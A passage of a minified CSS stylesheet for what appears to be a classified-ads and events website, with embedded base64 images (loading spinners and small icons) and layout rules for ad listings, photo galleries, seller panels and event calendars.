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);background-repeat:no-repeat;background-size:100%;content:"";display:block;height:30px;margin:35% auto auto;width:30px}.AD_ListNoStyle .hidden,.AD_UploadPhoto .AD_Photo span.hidden,.AD_UploadPhoto .hidden{display:none}.AD_UploadPhoto .AD_Delete{background-color:rgba(248,248,248,0.8);background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAAChyAAAocgF7isG5AAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAKHSURBVHja5Js7TiNBEEDfFBMiX4AbcJ6VVhaBRW5xCI6AyBGBZSE5ItjTbLLBXsAiZOUN3IOGAYb5VHVXQSeWLLvc73mmu6ZLVf0+pztOgJ/AFVABt8AWeCbWqIFr4BL4A9wAD8C/9oeqjoAT4B646ATbActAEur0p/3ovL8BVm0JMgCeFGibAkeFJ7HdJ9ZXAvrgI0nog39XQj0Qvi0Bp7fDEPi2BIBVnRa8ixE/5FHCGPi2hF+SVvuxw9PtMAW+GVeStjqCSpgDD1BJ2ucJKGEuPMCtpCC7YBI04HfAVtJCtgwkQQt+CTw3eUAUCarw3UzQuwR1+K4AzxJM4N8T4FGCGfxHAjxJMIXvE+BBgjn8ZwJKSsgCP0RACQnZ4IcKyCkhK/wYATkkZIcfK8BSQhF4Jq7OjQRmTLj53mV6vSsBD29PhXNvU/v0uigBP/UK0LwS5oDPhp+yBlisCcXgNQSUkqBWqBGlCeWUoFqlEsWJ5ZCgXqIT5QlaSjCpT4rBRC0kmBVn5+QBn41T4K/CVrcHzoAni0kK33xYCahTertQiLVIseooAjRSZI1DlSICLOBNJUgQeDMJEgjeRIIEg1eXIAHhVSVIYfh961CkiAQpCL9LGd4ZBStQXio2WmeMo58XxAG81gPUpCtBHMAXlSBO4ItJEEfwRSSIM/jsEsQhfFYJ4hQ+mwRxDJ9FgjiHN5cgAeBNJUgQeDMJdSD4rgSVZ4c6BYsCry3hUYB1MHjN22EtwCEgvJaEg3DsqIwIryHhRji2k26Cws+RsAEehGMb6WqgBM8ttGMkvLTQNnnAEAkR+oeHSHjVP9zOBPskRGqe7pPwpnm6+uLt88u0zR/4oH3+/wDcuzyspCSUCwAAAABJRU5ErkJggg==);background-position:center;background-repeat:no-repeat;background-size:85%;bottom:2px;height:20px;position:absolute;right:2px;width:20px}.AD_UploadPhoto .AD_Delete:hover{cursor:pointer}#AD_SelectCountry > .custom-combobox > .custom-combobox-input{display:inline-block;height:15px;margin:0;padding:1px}#AD_SelectCountry > .custom-combobox > .ui-button{border-left:0;padding:.23em 1em}.AD_MainLayout{float:left;margin-right:-300px;width:100%}.AD_SidebarLayout{float:right;margin-bottom:4px;width:295px}.panel .AD_SectionTitle p{border-bottom:1px solid #1675bc;color:#1675bc;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.05em;margin:.5em 0;padding-bottom:2px;text-transform:uppercase}.AD_SectionTitle{padding:5px}.AD_SectionGallery{margin-bottom:10px;position:relative;text-align:center;width:100%}#AD_MainImg,#AD_Thumbs{box-sizing:border-box;display:inline-block;margin:0 auto;vertical-align:top}#AD_MainImg{margin-bottom:10px;margin-right:1%;min-width:300px;width:50%}#AD_Thumbs{min-width:300px;width:40%}.AD_Thumb img{visibility:hidden;width:100%}.AD_Thumb{background-color:#e5f1f9;background-position:center;background-repeat:no-repeat;background-size:contain;border:3px solid #e5f1f9;box-sizing:border-box;display:inline-block}#AD_MainImg .AD_Thumb{height:425px;width:100%}#AD_Thumbs .AD_Thumb{float:left;height:135px;margin:0 2% 10px;width:45%}#AD_Thumbs .AD_Thumb.active{-khtml-opacity:.6;-moz-opacity:.6;-ms-filter:progid:DXImageTransform.Microsoft.Alpha(Opacity=0.6);border-color:#1675bc;filter:alpha(opacity=0.6);opacity:.6}.AD_SectionDescription{font-size:10px}.AD_ListDesc li{padding:5px}.AD_ListDesc li:nth-child(2n + 1){background-color:#dceaf5}.AD_ListDesc li:nth-child(2n){background-color:#e5f1f9}.AD_ListDesc .AD_ListDescLabel{display:inline-block;font-weight:700;width:150px}.AD_ListDesc .AD_ListDescLabel img{margin:0 5px;vertical-align:middle;width:16px}.AD_Description{margin-top:25px}.AD_Description p{word-break:break-word}.AD_SidebarLayout .AD_Block{margin-bottom:10px}.AD_SidebarLayout .AD_Block .AD_BlockTitle p{font-size:1.05em;margin:0;padding:0}.AD_SidebarLayout .AD_Block .AD_BlockTitle{margin:0;padding:10px 1%;text-align:center}.AD_SidebarLayout .AD_Block .AD_BlockContent{padding:10px 1%}.AD_SellerIdentity .AD_ContentLeft,.AD_SellerIdentity .AD_ContentRight{box-sizing:border-box;font-size:10px}.AD_SellerIdentity .AD_ContentLeft{width:29%}.AD_SellerIdentity .AD_ContentRight{width:60%}.AD_SellerAvatar{background-position:center;background-repeat:no-repeat;background-size:cover;border-radius:50%;display:block;height:90px;width:90px}.AD_SellerName{font-weight:700}.AD_SellerIdentity .AD_ContentRight ul{line-height:30px;min-height:90px}.AD_SellerIdentity .AD_ContentRight ul img{display:inline-block;vertical-align:middle;width:16px}.AD_SellerIdentity .AD_ContentRight ul span{display:inline-block;margin:0 5px;vertical-align:middle}.pro_number_blank span{line-height:15px;margin:0 0 0 22px !important}.AD_Button{background:#eee;display:block;margin-bottom:5px;padding:5px 0;text-align:center;text-decoration:none;width:100%}.AD_Button:hover{background:#ccc;text-decoration:none!important}.AD_ListOptions{width:100%}.AD_ListOptions li{background:#cadceb;color:#1675bc;height:75px;list-style-type:none;margin:5px 1% 0;text-align:center;width:48%}.AD_ListOptions li:hover{opacity:.6}.AD_ListOptions li img{display:block;margin:auto;padding:10px 0;width:30px}.AD_ListOptions li a,.AD_ListOptions li a:hover{display:block;font-size:10px;height:100%}.AD_Label{float:left;padding:10px 0}.AD_StatusList span.AD_StatusLabel{vertical-align:top}.AD_StatusLabel{background:#1675bc;border-radius:5px;color:#fff;font-size:10px;font-weight:400;margin-right:5px;padding:5px;white-space:nowrap}.AD_DateLabel{font-size:10px;font-weight:400}.header ul{margin:2px 0 4px;width:100%}.AD_Header li{color:#fff!important;font-family:inherit;font-size:1.2em;text-transform:uppercase;vertical-align:middle}.AD_Header li select{padding:0}.AD_Row{list-style-type:none}.AD_Row p{font-size:10px;margin:0;padding:0}.AD_Row li{vertical-align:middle}.AD_Item .col1{min-width:120px;position:relative;width:10%}.AD_Item .col2,.AD_Item .col3{font-size:12px;width:25%}.AD_Item .col4{text-align:center;width:15%}.AD_Item .col5{text-align:right;width:15%}a.AD_Image{background-position:center;background-repeat:no-repeat;background-size:cover;border:3px solid #e5f1f9;display:block;height:100px;margin:5px auto;position:relative;vertical-align:middle;width:120px}ul.AD_Item{display:block;margin:10px 0;max-height:150px;position:relative}ul.AD_Infos li{margin:0 5px;text-align:left}ul.AD_Infos li p{line-height:30px}ul.AD_Infos li img{vertical-align:middle;width:16px}a.AD_Title{color:#0372be;display:block;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;font-weight:700;line-height:1.5em;margin:0 10px;text-decoration:none;width:95%;word-break:break-word;word-wrap:break-word}.AD_Price{font-size:12px;font-weight:700;word-wrap:break-word}.AD_Price.text-justify{text-align:justify!important}.AD_TopImg{background:rgba(248,248,248,0.8);bottom:0;display:block;height:15%;padding:3px 0;position:absolute;right:0;text-align:center;width:100%}.AD_NbPhoto{color:#404040;display:inline-block;font-size:12px;font-weight:700;height:16px}.AD_IconPhoto{display:inline-block;height:16px;margin:0 5px;vertical-align:top;width:16px}.AD_TopImg:after{clear:both}.AD_SearchBox{-moz-border-radius:5px;-webkit-border-radius:5px;background-color:#e5f1f9;border-radius:5px;box-sizing:border-box;display:block;height:30px;line-height:20px;padding:5px;width:100%}.AD_Filters{display:block;height:10px;margin-bottom:5px;position:relative;text-align:right;width:99%}.AD_Preview{box-sizing:border-box;display:block;height:auto;line-height:20px;width:100%}.AD_Preview .h3{margin-top:5px}.AD_PreviewContent{-moz-border-radius:5px;-webkit-border-radius:5px;background-color:#cadceb;border-radius:5px;padding:5px}.AD_Preview .AD_PreviewTitle{font-size:12px;font-weight:700;margin:5px 0 10px}#AD_Form input,#AD_Form select,#AD_Form textarea{background-color:#fff;box-sizing:border-box;color:#666}.filter_ads{background-color:#fff;color:#666}#AD_Form input.error,#AD_Form input.has-help-txt,#AD_Form input.valid,#EV_Form input.error,#EV_Form input.has-help-txt,#EV_Form input.valid{padding-right:25px}#EV_Form input.inputbox,#EV_Form select{box-sizing:border-box;height:20px;min-width:70px}.input-button{position:relative}.input-button span{position:absolute;text-align:center;top:50%;transform:translateY(-50%);width:20px;z-index:2}.input-button input{padding-left:20px}.AD_localisation{position:relative}.AD_SectionDescription #mod_comment{margin:10px 0}.button-custom{-moz-border-radius:5px;-webkit-border-radius:5px;background:#fff;background-image:linear-gradient(tobottom,#fff,#d6d6d6);border:solid #aaa 1px;border-radius:5px;cursor:pointer;font-weight:700;padding:10px 20px 10px 15px;position:relative;text-decoration:none}.button-custom:hover{background:#eee}.button-custom,.button-custom:after,.button-custom:before{-moz-transform-style:preserve-3d;-moz-transition:-moz-transform 0.75s,background-color .125s;-ms-transform-style:preserve-3d;-ms-transition:-ms-transform 0.75s,background-color .125s;-webkit-transform-style:preserve-3d;-webkit-transition:-webkit-transform 0.75s,background-color .125s;transform-style:preserve-3d;transition:transform 0.75s,background-color .125s}.button-custom:after,.button-custom:before{-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-backface-visibility:hidden;backface-visibility:hidden;bottom:0;left:0;position:absolute;right:0;top:0}.button-custom:before{z-index:2}.button-custom i.ic-geo{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAQAAAD8x0bcAAAAIGNIUk0AAHomAACAhAAA+gAAAIDoAAB1MAAA6mAAADqYAAAXcJy6UTwAAAACYktHRAD/h4/MvwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAL9JREFUKM9jKGUgDFG5zKVupeVA6Apk4VBkXHqj9D8UXis1xKZIq/QTXAkIfizVwFS0Byr5CSgNYe1EVyQBlVhUygaEi8Hsf6ViqIqsoYq0wDxtKM8KVZEuVNgfzAuC8rRRFbGUfgALvy2tKK0sfQdmvweKojl8NorfQHAWpu80S/+iKPkLFMESmPNQFM3BHuJiQBfBlLwpFcUVdxFwReG4I5ihdD5YyVx8qYChlLP0LBBy4FfEUCoNhAyEFGGBAJPj825MoCeBAAAAAElFTkSuQmCC);background-position:left center;background-repeat:no-repeat;float:left;height:18px;margin:-3px 2px 0;width:18px}.button-custom:after{-moz-border-radius:5px;-moz-transform:rotateX(180deg);-ms-transform:rotateX(180deg);-webkit-border-radius:5px;-webkit-transform:rotateX(180deg);background-color:#999;background-image:url(data:image/gif;base64,R0lGODlhEAAQAPIAAJmZmf///7CwsOPj4////9fX18rKysPDwyH+GkNyZWF0ZWQgd2l0aCBhamF4bG9hZC5pbmZvACH5BAAKAAAAIf8LTkVUU0NBUEUyLjADAQAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQACgABACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkEAAoAAgAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkEAAoAAwAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkEAAoABAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQACgAFACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQACgAGACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAAKAAcALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==);background-position:center center;background-repeat:no-repeat;border-color:#888;border-radius:5px;content:'';transform:rotateX(180deg);z-index:1}.button-custom.btn-loading{-moz-transform:rotateX(180deg);-ms-transform:rotateX(180deg);-webkit-transform:rotateX(180deg);transform:rotateX(180deg)}.AD_Form_MOD{margin:10px 0}#AD_RevisionTable{border-collapse:collapse;margin:10px 0;text-align:left;width:100%}#AD_RevisionTable .header{border-collapse:separate}#AD_RevisionTable th{border:1px solid #cadceb;padding:10px 5px}#AD_RevisionTable td{border-left:1px solid #cadceb;border-right:1px solid #cadceb;margin:0;padding:5px;width:30%}#AD_RevisionTable td:first-child{width:20%}.AD_Breadcrumb{margin:10px 0}.AD_StatusNoValid{background-color:#e67e22}.AD_StatusValid{background-color:#27ae60}.AD_StatusRejected{background-color:#c0392b}.AD_LastPA .AD_LastInfos{float:left;text-align:left;width:80%}.AD_LastPA a{width:100%;word-break:break-all;word-wrap:break-word}.AD_BlockContent #moderationinfos div{margin-top:1em;word-wrap:break-word}.EV_StatusLabel{background-color:#d31141;border-radius:3px;color:#FFF;font-size:12px;font-weight:700;margin-right:9px;padding:3px 9px;vertical-align:middle;white-space:nowrap}.EV_HalfBlock{border:1px solid #ddd;box-sizing:border-box;display:inline-block;margin:0 1% 10px auto;min-height:425px;min-width:300px;vertical-align:top;width:48%}.EV_HalfBlock .AD_Thumb{height:425px;width:100%}.EV_HalfBlock .List_thumb .AD_Thumb{display:inline-block;margin:0 5px;max-height:60px;max-width:60px}.EV_HalfBlock .List_thumb{border-bottom:3px solid #eee;padding:10px 0}.EV_MainInfos{border-bottom:1px solid #eee;padding:20px 0}.EV_MainInfos div{box-sizing:border-box;display:inline-block;padding:0 10px;text-align:left;vertical-align:top;width:49%}.EV_MainInfos div:last-child{border-left:1px solid #444}.EV_MainInfosTitle{color:#777;font-size:16px;font-weight:700;text-transform:uppercase}.EV_MainInfosTitle img{margin:0 5px;width:12px}.EV_MainInfosDesc{font-size:13px;font-style:italic;padding-left:20px}.EV_MainMap{box-sizing:border-box;height:200px;width:100%}.EV_MainMap #img_map{background-position:center;background-size:cover;height:100%;width:100%}#AD_BlockModo > .AD_BlockContent .button2{margin:0!important;text-align:center;width:100%!important}.inline{display:inline-block;vertical-align:top}.EV_FixedTitle{height:70px}.EV_DateBlock{margin-right:5px}.EV_DateBlock p{background:#3793ff;color:#fff;margin:0;padding:2px 0;text-align:center;width:50px}#EV_BlockSeller .AD_ContentRight ul span{display:initial;word-break:break-word}.AD_Block .button2{height:36px;margin:0!important;text-align:center;width:100%!important}.EV_DateBlock .year{background:#d31141;font-size:11px}.EV_DateBlock .day{font-size:25px;font-weight:700;padding:0}.EV_DateBlock .dayString{font-size:10px}.EV_Ticket_link{margin-top:15px}.EV_FixedTitle h1{vertical-align:top}.EV_FixedTitle .sub-header-path{margin-top:5px;vertical-align:bottom}.EV_TagCategory{border-radius:3px;box-shadow:0 1px 2px rgba(0,0,0,0.3);color:#fff!important;display:inline-block;font-size:11px;font-weight:500;overflow:hidden;padding:6px 9px;position:relative;text-decoration:none;vertical-align:middle;width:auto!important}.EV_PanelView{box-sizing:border-box;margin-right:300px}.EV_ListOptions{padding:0!important;width:100%}.EV_ListOptions li{background:#cadceb;color:#1675bc;display:inline-block;height:75px;list-style-type:none;margin:5px 1% 0;position:relative;text-align:center;vertical-align:top;width:48%}.EV_ListOptions li img{display:block;margin:auto;padding:10px 0;width:30px}.EV_ListOptions li:hover{opacity:.6}.EV_ListOptions li a,.EV_ListOptions li button{color:#0372be;font-size:10px;text-decoration:none}.EV_ListOptions li a:hover,.EV_ListOptions li button:hover{color:#f60;text-decoration:underline!important}.EV_ListOptions li button{background:transparent;border:none;cursor:pointer;display:inline-block;height:75px;left:0;position:absolute;top:0;width:100%}.EV_ListOptions li button > span{left:0;position:absolute;top:50px;width:100%}.EV_TagColor_bg1{background-color:#4693d3}.EV_TagColor_bg2{background-color:#db6989}.EV_TagColor_bg12{background-color:#f44336}.EV_TagColor_bg13{background-color:#00838f}.EV_TagColor_bg3{background-color:#ffaf02}.EV_TagColor_bg5{background-color:#00a8c6}.EV_TagColor_bg14{background-color:#9db10b}.EV_TagColor_bg7{background-color:#ff7200}.EV_TagColor_bg8{background-color:#767690}.EV_TagColor_bg6{background-color:#77c04b}.EV_TagColor_bg15{background-color:#3f51b5}.EV_TagColor_bg10{background-color:#a868c2}.EV_TagColor_bg16{background-color:#009688}.EV_TagColor_bg4{background-color:#bd967a}.EV_TagColor_bg11{background-color:#f465af}.EV_List ul li{display:block;position:relative}.EV_List > .button{display:block;width:10%!important}.EV_List .pagination{display:block;float:none;margin:10px auto}.EV_ListMonth{background:#dceaf5;border-bottom:1px solid #1675bc;height:30px;line-height:30px;text-align:center;width:100%}.EV_ListMonth span{background-color:#dceaf5!important;font-size:20px;padding:0 10px}.EV_Item{background-color:#fff;display:block;height:100px;margin:15px auto;overflow:hidden;position:relative;width:100%}.EV_Item > div{display:block;float:left;max-height:100px}.EV_Item .EV_ItemDate,.EV_Item .EV_ItemImg{height:100%;width:100px}.EV_Item .EV_ItemImg img{max-height:100px;max-width:100px;width:100%}.EV_Item .EV_ItemDate{background-color:#1675bc;line-height:100px;padding:5px 0;text-align:center}.EV_Item .EV_ItemDate p{color:#fff;font-size:13px;font-weight:700;line-height:30px;width:100%}.EV_Item .EV_ItemDate p span:first-child{font-size:20px}.EV_Item .EV_ItemDate p span:last-child{font-size:18px;font-style:italic;font-weight:400}.EV_Item .EV_ItemDate p.EV_Days{margin:0!important;padding:5px 0!important}.EV_Item .EV_ItemDate p.EV_DaySolo{margin-top:25px}.EV_Item .EV_ItemDate hr{border-top-width:4px;color:#fff;height:1px;margin:auto;width:50%}.EV_Item .EV_ItemInfos{position:relative;width:70%}.EV_Item .EV_ItemInfos > div{display:inline-block;height:100px;padding:20px;width:10%}.EV_Item .EV_ItemInfos > 